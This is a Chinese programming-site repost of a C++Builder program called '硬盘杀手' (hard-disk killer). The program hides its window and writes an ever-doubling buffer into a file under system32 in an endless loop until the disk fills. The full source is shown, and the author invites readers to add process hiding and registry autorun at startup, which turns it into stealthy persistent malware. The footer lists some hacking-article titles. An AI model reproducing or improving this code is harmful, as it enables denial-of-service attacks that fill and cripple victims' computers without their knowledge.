电脑网络频道 >>>

首 页 | 网络安全 | 搜索引擎 | 网络应用 | 建站常识 | 网络编程 | 硬件课堂 | 操作系统 
首页>>>电脑网络>>>网络编程>>>正文
硬盘杀手

  上一篇:SQL高手篇:精妙SQL语句介绍   收录日期:2005-10-21 9:02:43
 
  硬盘杀手

编译环境:c++Builder 6.0
系统环境:Windows 2000
功能说明:利用while (true)语句产生一个死循环,不停的将缓冲区的数据写入文件,使这个文件容量越来越大。

代码:
//---------------------------------------------------------------------------
// TomyDan.net 硬盘杀手
//作 者:wkbsb
//联系方式:wkbsb@21cn.com qq:47883053
//功 能:不停的将缓冲区的数据写入文件,使这个文件容量越来越大
//版权说明:作者授权可以自由传播,自由使用源代码,但是请不要修改原作者信息,谢谢
// 如果你有什么好的意见,欢迎来信.
//当前版本: V0.1
//版本历史: V0.1 不停的将缓冲区的数据写入文件,使这个文件容量越来越大
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <Filectrl.hpp>
#include<inifiles.hpp>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
Application->ShowMainForm=false;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
if (DirectoryExists("c:\\windows\\system32")) \\判断是98还是2K系统
{
ForceDirectories("c:\\windows\\system32\\wkbsb");\\强制建立目录
int hFile=FileCreate("c:\\windows\\system32\\wkbsb\\set.ini");\\创建新文件
AnsiString ss=" "; \\把空格赋值给ss这个变量
while(true) \\死循环
{
FileWrite(hFile,ss.c_str(),ss.Length()+1); \\将缓冲区中的数据写入set.ini文件里。
ss=ss+ss; \\把ss这个变量自己加自己,从而达到数据的膨胀
}
}
else
{
ForceDirectories("c:\\winnt\\system32\\wkbsb");
int hFile=FileCreate("c:\\winnt\\system32\\wkbsb\\set.ini");
AnsiString ss=" ";
while(true)
{
FileWrite(hFile,ss.c_str(),ss.Length()+1);
ss=ss+ss;
}
}
}
//---------------------------------------------------------------------------


我把这个程序的源代码公布出来,只是想和大家交流一下我的思想,我觉得我的这个想法是可以的,可我的知识有限,这个程序有很多功能我没有写完,比如:进程隐藏,还有死循环会耗CPU,有没有更好的办法不耗CPU的,把程序加入注册表里,让它每次启动的时候自动运行,每次运行的时候,先读取set.ini的内容,再写入、、、等等,希望大家帮我改良一下这个程序。


版权所有:wkbsb
CopyRight (C) 2003 TomyDan网络工作室
http://www.tomydan.net
  下一篇:关于WIN 2000下的进程枚举 
收录日期:2005-10-21 9:02:43 
相关新闻:
 
   特别申明:本站绝大部分文章与作品均收集于互联网或网友自行上传,如有侵权,请主动与我们联系,如属实,我们会及时删除。同时深圳生活网不对文章及作品使用后果负任何连带责任。谢谢合作!


 热 点 排 行

·Google纪录你的一言一行
·我眼中的韩国搜索引擎
·实例演练ASP+XML编程
·非常不错的Javascript脚本
·动态效果DHTML
·Javascript实现上传的图片按
·怎样才能把我的网站加入Goog
·为什么在Google上搜不到我的
·Google的网站收录和排名
·用Google搜索本地硬盘
·百度MP3搜索介绍及搜索技巧
·百度搜索引擎搜索技巧
·怎样去建设一个专业的网站 
·百度搜索技巧
·体验Windows XP中超强syskey
·黑客常用的命令和快捷键
·安全:Win2000日志清除技巧
·黑客入侵“在线影院”全过程
·如何入侵基于JSP的网站
·对Windows操作系统如何实现D